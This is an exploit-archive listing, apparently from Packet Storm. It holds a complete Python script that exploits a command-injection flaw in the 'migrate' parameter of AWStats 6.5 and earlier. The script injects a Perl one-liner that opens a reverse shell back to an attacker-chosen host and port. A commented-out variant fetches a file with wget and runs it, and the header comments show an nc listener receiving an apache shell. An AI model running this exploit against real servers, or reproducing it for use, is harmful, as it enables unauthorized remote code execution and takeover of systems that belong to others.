what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

bl4ck_awstats_migrate_cmd_inj.py.txt

bl4ck_awstats_migrate_cmd_inj.py.txt
Posted May 6, 2006
Authored by redsand

Remote shell command injection exploit for AWStats versions 6.5 and below.

tags | exploit, remote, shell
SHA-256 | 941a06c7ed697547b47adcb24b4547271d29c41781f9d2f838ff3524b533683c

bl4ck_awstats_migrate_cmd_inj.py.txt

Change Mirror Download
#!/usr/bin/env python
# https://secunia.com/advisories/19969/
# by redsand@blacksecurity.org
# May 5, 2006 - HAPPY CINCO DE MAYO
# HAPPY BIRTHDAY DAD
# private plz


#
# redsand@jinxy ~/ $ nc -l -p 31337 -v
# listening on [any] 31337 ...
# connect to [65.99.197.147] from blacksecurity.org [65.99.197.147] 53377
# id
# uid=81(apache) gid=81(apache) groups=81(apache)
#


import sys, socket, base64
import urllib2, urlparse, urllib

# perl 1 line tcp connect-back code
# needs ip & port
cmd = 'perl -e \'$h="%s";$p=%r;use Socket;$sp=inet_aton($h);$sa=sockaddr_in($p,$sp);;socket(CLIENT,PF_INET,SOCK_STREAM,getprotobyname("tcp"));gethostbyname($h);connect(CLIENT,$sa);open(STDIN,">&CLIENT");open(STDOUT,">&CLIENT");open(STDERR,">&CLIENT");if(fork()){exec "/bin/sh"; exit(0); };\'';

class rbawstatsMigrate:
__url = ''
__user = ''
__password = ''
__auth = False
__chost =False
__cport = False

def __init__(self,host=False, ur=False, ps=False, chost=False, cport=False):
if host:
self.__url = host
if ur:
self.__user = ur
if ps:
self.__password = ps

if ur or ps: self.__auth = True


if chost: self.__chost = chost
if cport: self.__cport = cport


url = urlparse.urlsplit(self.__url)

i = url[1].find(';')
if i >= 0:
self.__parsed_host = url[1][:i]
else:
self.__parsed_host = url[1]

def probe(self):

cphost = socket.gethostbyname_ex(self.__chost)

my_cmd = cmd % (cphost[2][0],self.__cport)
url_xpl = { "config": self.__parsed_host,
"migrate":"|cd /tmp/ && %s|awstats052005.%s.txt" % (my_cmd, self.__parsed_host)
# "migrate":"|cd /tmp/ && wget %s && chmod 777 %s && /tmp/%s|awstats052005.%s.txt" % (rsv, fname, fname, self.__parsed_host)

}

#if self.__url[len(self.__url) -1] != '?':
# url_xpl = '?' + url_xpl

url = self.__url
url_xpl = urllib.urlencode(url_xpl)

try:
req = urllib2.Request(url, url_xpl)
if(self.__auth):
b64str = base64.encodestring('%s:%s' % (self.__user,self.__password))[:-1]
req.add_header('Authorization', "Basic %s"% b64str)

req.add_header('Referer', "https://exploit.by.redsand.of.blacksecurity.org")
req.add_header('Accept', 'text/xml,application/xml,application/xhtml+xml,image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1')
req.add_header('Accept-Language','en-us')
req.add_header('Accept-Encoding','deflate, gzip')
req.add_header('User-Agent', "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; [BL4CK] Security")
req.add_header('Connection' ,'Keep-Alive')
req.add_header('Cache-Control','no-cache')
q = urllib2.urlopen(req)
except IOError, e:
print "FAILED %s" % e
sys.exit(0)

print "SUCCESS, now check to see if it connected-back properly to %s:%s" % (self.__chost,self.__cport)
sys.exit(0)




user=False
pas=False
url=False
chst=False
cprt=False

print "[BL4CK] AWStats CMD Injection Exploit by redsand@blacksecurity.org"
print "https://secunia.com/advisories/19969/"
print "https://blacksecurity.org - f0r my h0mi3s"

argc = len(sys.argv)
if(argc <= 3):
print "USAGE: %s https://host/awstats.pl <connect back host> <connect back port> [username] [password] " % sys.argv[0]
print "\t\* Support 401 HTTP Authentication"
sys.exit(0)
if(argc > 1):
url = sys.argv[1]
if(argc > 2):
chst = sys.argv[2]
if(argc > 3):
cprt = sys.argv[3]
if(argc > 4):
user = sys.argv[4]
if(argc > 5):
pas = sys.argv[5]





red = rbawstatsMigrate(url, user, pas, chst, cprt)

red.probe()
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close